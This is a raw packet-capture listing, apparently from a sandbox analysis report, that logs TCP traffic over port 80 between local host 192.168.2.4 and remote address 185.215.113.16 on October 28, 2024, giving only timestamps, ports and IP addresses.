Oct 28, 2024 23:47:19.103615999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.103669882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.103704929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.103725910 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.103738070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.103777885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.103790998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.104015112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.104075909 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.104115009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.104149103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.104274988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.136272907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.136291027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.136307001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.136322021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.136379004 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.136431932 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.213036060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.213059902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.213077068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.213109970 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.222261906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.222280025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.222295046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.222311020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.222340107 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.222364902 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.222537994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.222553015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.222568035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.222583055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.222609997 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.222609997 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.223146915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.223160982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.223213911 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.255222082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.255240917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.255256891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.255320072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.255356073 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.255374908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.255424023 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.255424023 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.331293106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.331305981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.331337929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.331343889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.331496954 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.341027021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.341052055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.341110945 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.341178894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.341192961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.341207981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.341223955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.341278076 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.341278076 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.341805935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.341820955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.341835976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.341850996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.341888905 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.341912985 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.342416048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.342428923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.342524052 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.374316931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.374332905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.374347925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.374363899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.374429941 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.374429941 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.450109005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.450124025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.450256109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.459969997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.460028887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.460045099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.460062027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.460077047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.460159063 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.460159063 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.460402012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.460417032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.460423946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.460494041 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.460808039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.460824013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.460839033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.460889101 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.493030071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.493110895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.493143082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.493190050 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.493196011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.493230104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.493232012 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.493263006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.493288040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.493680954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.493710041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.493738890 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.542346954 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.569039106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.569055080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.569190979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.578803062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.578833103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.578888893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.578917980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.578939915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.578974962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.578989983 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.579010010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.579045057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.579066038 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.579788923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.579822063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.579857111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.579874039 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.579889059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.579966068 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.611860037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.611891985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.611917019 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.611926079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.611996889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.612091064 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.612123966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.612163067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.612169981 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.612479925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.612530947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.612540960 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.667363882 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.687916040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.687933922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.688062906 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.697859049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.697901964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.697916985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.697932959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.697948933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.697985888 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.698038101 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.698213100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.698270082 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.698342085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.698371887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.698388100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.698422909 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.698458910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.698473930 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.698508978 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.730978012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.731030941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.731066942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.731101036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.731131077 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.731132030 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.731136084 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.731199980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.731368065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.776763916 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.806788921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.806826115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.806930065 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.816673040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.816689014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.816704988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.816718102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.816812038 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.816867113 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.816931009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.816948891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.816963911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.817002058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.817338943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.817392111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.817411900 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.817425013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.817459106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.817518950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.849772930 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.849822044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.849839926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.849901915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.849919081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.849925041 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.849937916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.849956036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.849976063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.850038052 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.850039005 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.850760937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.850775957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.850879908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.925612926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.925646067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.925761938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.935533047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.935587883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.935621023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.935656071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.935689926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.935693979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.935719967 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.935950041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.936002016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.936032057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.936036110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.936069965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.936105967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.936106920 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.936177969 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.968483925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.968497992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.968539000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.968556881 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.968574047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.968574047 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.968589067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.968611002 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.968663931 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.969202995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.969217062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.969286919 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:19.969346046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.969361067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.969376087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:19.969408035 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.017822027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.044646025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.044769049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.044811964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.044894934 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.054450989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.054487944 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.054524899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.054548979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.054594040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.054636955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.054739952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.054775953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.054828882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.054833889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.054904938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.055304050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.055355072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.055387974 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.055452108 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.087429047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.087476969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.087495089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.087510109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.087527990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.087630033 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.087693930 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.087857008 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.088083982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.088130951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.088146925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.088155031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.088159084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.088222980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.142440081 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.163469076 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.163522959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.163611889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.173393011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.173424006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.173475981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.173527956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.173530102 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.173563004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.173584938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.173595905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.173633099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.173727989 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.174376011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.174477100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.174519062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.174552917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.174588919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.174621105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.174629927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.174675941 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.206196070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.206238985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.206295013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.206330061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.206351042 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.206366062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.206399918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.206435919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.206437111 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.206521988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.207096100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.207130909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.207165956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.207175016 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.207273960 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.207478046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.207530022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.209009886 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.282444000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.282485962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.282633066 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.292503119 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.292540073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.292577028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.292623997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.292659998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.292659998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.292680025 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.292912960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.292948961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.292985916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.292992115 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.293030024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.293081999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.293462038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.293495893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.293529034 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.293530941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.293584108 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.325151920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.325206041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.325239897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.325262070 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.325289965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.325325966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.325381041 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.325555086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.325588942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.325623035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:20.325664997 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:20.325761080 CET	49740	80	192.168.2.4	185.215.113.16
